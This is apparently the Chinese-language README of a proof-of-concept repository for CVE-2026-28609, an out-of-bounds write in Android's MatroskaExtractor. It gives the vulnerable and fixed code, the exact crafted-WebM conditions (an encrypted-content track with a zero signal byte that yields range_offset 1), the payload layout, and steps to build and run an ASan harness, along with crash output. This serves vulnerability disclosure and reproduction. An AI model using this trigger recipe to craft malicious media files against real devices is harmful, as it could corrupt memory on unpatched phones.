CVE-2026-28609 的概念验证与插桩复现测试框架,该漏洞是 Android MatroskaExtractor 中的一处越界写入,可通过带有大端 PCM 音轨的精心构造的 WebM 文件触发。
针对 CVE-2026-28609 的概念验证、插桩复现测试框架及技术分析文章。该漏洞是 Android 的 MatroskaExtractor 中的一处越界写入,可通过一个带有大端 PCM 音轨的精心构造的 WebM 文件触发。
frameworks/av/media/module/extractors/mkv/MatroskaExtractor.cppAndroid MatroskaExtractor 中的 MatroskaSource::read() 包含一个 PCM 大端字节交换循环,该循环在加上 frame->range_offset()(一个字节偏移量)之前,就将帧数据指针转换为 uint16_t *。由于对 uint16_t * 进行 C 指针运算会将偏移量按 sizeof(uint16_t) = 2 缩放,因此得到的指针位于缓冲区起始位置之后 2 * range_offset 字节处,而非 range_offset 字节处。
当 range_offset > 0 时,该循环会读取并写入帧的 MediaBuffer 末尾之后的一个或多个字节。在没有 ASan 的设备上,越界读取会静默成功,而越界写入会破坏紧跟在缓冲区之后的字节。
存在漏洞的代码行:
// MatroskaExtractor.cpp:1105 (pre-fix)
uint16_t *dstData = (uint16_t *)frame->data() + frame->range_offset();
uint16_t *srcData = (uint16_t *)frame->data() + frame->range_offset();
for (size_t i = 0; i < frame->range_length() / 2; i++) {
dstData[i] = ntohs(srcData[i]);
}
上游修复在应用偏移量之前将指针转换为 uint8_t *:
uint16_t *data = (uint16_t *)((uint8_t *)frame->data() + frame->range_offset());
for (size_t i = 0; i < frame->range_length() / 2; i++) {
data[i] = ntohs(data[i]);
}
一个可运行、可复现的 CVE-2026-28609 触发程序,已在真实的 Android 14 设备上通过 AddressSanitizer 验证。本仓库包含:
range_offset 将提取器驱动至存在漏洞的分支。dlopen 加载提取器插件,调用 GETEXTRACTORDEF,并从文件中读取帧。在存在漏洞的设备上,结果如下:
==14927==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2 at 0x003c61ab3960 thread T0
#0 ... MatroskaSource::read(...) MatroskaExtractor.cpp:1113
0x003c61ab3961 is located 0 bytes after 65-byte region
存在漏洞的分支需要同时满足以下所有条件:
| 条件 | 来源 |
|---|---|
| 轨道为 PCM | mType == PCM |
| 大端序 | AMEDIAFORMAT_KEY_PCM_BIG_ENDIAN == 1 |
| 16 位采样 | AMEDIAFORMAT_KEY_BITS_PER_SAMPLE == 16 |
帧具有非零 range_offset | 由 set_range(offset, ...) 设置 |
前三个条件可通过声明编解码器 ID 为 A_PCM/INT/BIG、位深为 16 的轨道来满足。第四个条件才是关键所在。
range_offset 仅在 MatroskaSource::setWebmBlockCryptoInfo() 中被设置为非零值,而该函数在以下条件下由 readBlock() 调用:
if (err == OK && mExtractor->mIsWebm && trackInfo->mEncrypted) {
err = setWebmBlockCryptoInfo(mbuf);
}
因此,触发文件必须满足以下条件:
mIsWebm — EBML 的 DocType 元素必须为 "webm",而不是
"matroska"。mEncrypted — 轨道必须声明 ContentEncodings,其中
ContentEncodingType = 1(加密)并包含 ContentEncKeyID。0x1)为 0,
表示该帧未加密但经过内容编码。这会进入
setWebmBlockCryptoInfo 中的 else 分支,该分支调用 set_range(1, len - 1)。剥离后,每个帧的 range_offset = 1。随后,存在漏洞的分支
计算 (uint16_t *)data + 1,即前进 2 个字节,
循环读取/写入字节 [2, 2 + range_length) —— 越过 65 字节分配
(64 字节帧 + 1 字节信号)末尾一个字节。
+---------+------------------------------------+
| 0x00 | 64 bytes of frame data (0xAA...) |
+---------+------------------------------------+
signal PCM payload
信号字节 0x00 被 set_range(1, 64) 剥离,在 65 字节的分配中留下一个 64 字节的帧。随后,存在漏洞的指针运算会在字节偏移 2 到 65 处写入。
.
├── README.md
├── LICENSE
├── .gitignore
│
├── exploit/
│ └── generator.py WebM generator + verifier
│
├── harness/
│ └── harness_c_abi.cpp dlopen-based trigger harness
│
└── scripts/
├── build.conf API level, sanitizer, RTTI flags
├── include_dirs.conf.sample Include roots template
├── build_foundation.sh Build the foundation archive
├── build_plugin.sh Build the extractor plugin
├── build_harness.sh Build the harness
└── run.sh End-to-end build + push + run
构建前由用户克隆的上游依赖:
av/ frameworks/av (AOSP)
libwebm/ external/libwebm (mkvparser)
flac/ external/flac
aosp-includes/ system/core, system/logging, system/libbase,
frameworks/native — header trees only
aosp-includes/libs/ libstagefright_foundation.so, libmedia.so,
libutils.so, libbinder.so, libcutils.so,
libbase.so, libmediandk.so, libstagefright_flacdec.so
— pulled from the target device
bash、python3、make$ANDROID_NDK_HOME 设置adb 位于 PATH 中(Linux,或来自 WSL 的 adb.exe)mkdir -p deps && cd deps
# AOSP frameworks/av (contains the vulnerable extractor)
git clone --depth 1 -b android-14.0.0_r1 \
https://android.googlesource.com/platform/frameworks/av av
# libwebm (mkvparser)
git clone --depth 1 \
https://android.googlesource.com/platform/external/libwebm libwebm
# libFLAC
git clone --depth 1 \
https://android.googlesource.com/platform/external/flac flac
# AOSP header trees (no full checkout required)
mkdir -p aosp-includes
cd aosp-includes
for m in core libbase logging native; do
git clone --depth 1 \
"https://android.googlesource.com/platform/system/$m" "$m" 2>/dev/null || true
done
cd ../..
如果你的 AOSP 源码树使用模块化提取器布局
(av/media/module/extractors/mkv/),则无需进一步调整。
如果使用较旧的布局(av/media/libstagefright/matroska/),
请参阅构建脚本中关于 MKV 变量的说明。
mkdir -p deps/aosp-includes/libs
for lib in libstagefright_foundation.so libstagefright_flacdec.so \
libmedia.so libutils.so libbinder.so libcutils.so \
libbase.so libmediandk.so; do
adb pull "/system/lib64/$lib" deps/aosp-includes/libs/
done
cp scripts/include_dirs.conf.sample scripts/include_dirs.conf
cp scripts/build.conf.sample scripts/build.conf # if provided separately
$EDITOR scripts/build.conf
将 ANDROID_API 设置为与你的目标设备匹配的值(例如,Android 14 对应 34)。
./scripts/run.sh
run.sh 脚本按顺序执行四个步骤:
build_foundation.sh — 将 av/media/module/foundation/ 和 av/media/module/metadatautils/ 中的 28 个源文件编译为 plugin-asan/libstagefright_foundation_asan.a。build_plugin.sh — 编译 MatroskaExtractor.cpp、mkvparser.cc、mkvreader.cc,并将它们与该归档文件链接为 libmkvextractor_asan.so。build_harness.sh — 使用 -shared-libsan 编译 harness_c_abi。poc.mkv 推送到 /data/local/tmp 并运行 harness。构建脚本会自动发现缺失的 include 根目录。当编译器报告 fatal error: 'X' file not found 时,脚本会搜索依赖树,找到 X 的父目录,并将其追加到 include_dirs.conf。这就是 include_dirs.conf 在首次构建期间不断增长的原因。一旦所有头文件都被发现,该文件就会稳定下来,后续构建便具有确定性。
在存在漏洞的设备上,harness 会产生:
[+] loaded /data/local/tmp/libmkvextractor_asan.so
[+] plugin: Matroska Extractor uuid[0..3]=abbedd92 version=1 api=3
[+] sniffer confidence = 0.600
[+] tracks: 1
[*] track 0: start
[PCM] be=1 bpf=16 off=1 len=64 data=0x3c61ab3920
=================================================================
==14927==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x003c61ab3960 at pc 0x0071ecb0ec4c bp 0x007fe7ae1710 sp 0x007fe7ae1708
READ of size 2 at 0x003c61ab3960 thread T0
#0 0x71ecb0ec48 (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
#1 0x71ecb180c8 (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
#2 0x5861ac1ed0 (/data/local/tmp/harness_c_abi+0x3ed0)
#3 0x7279cf15b8 (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)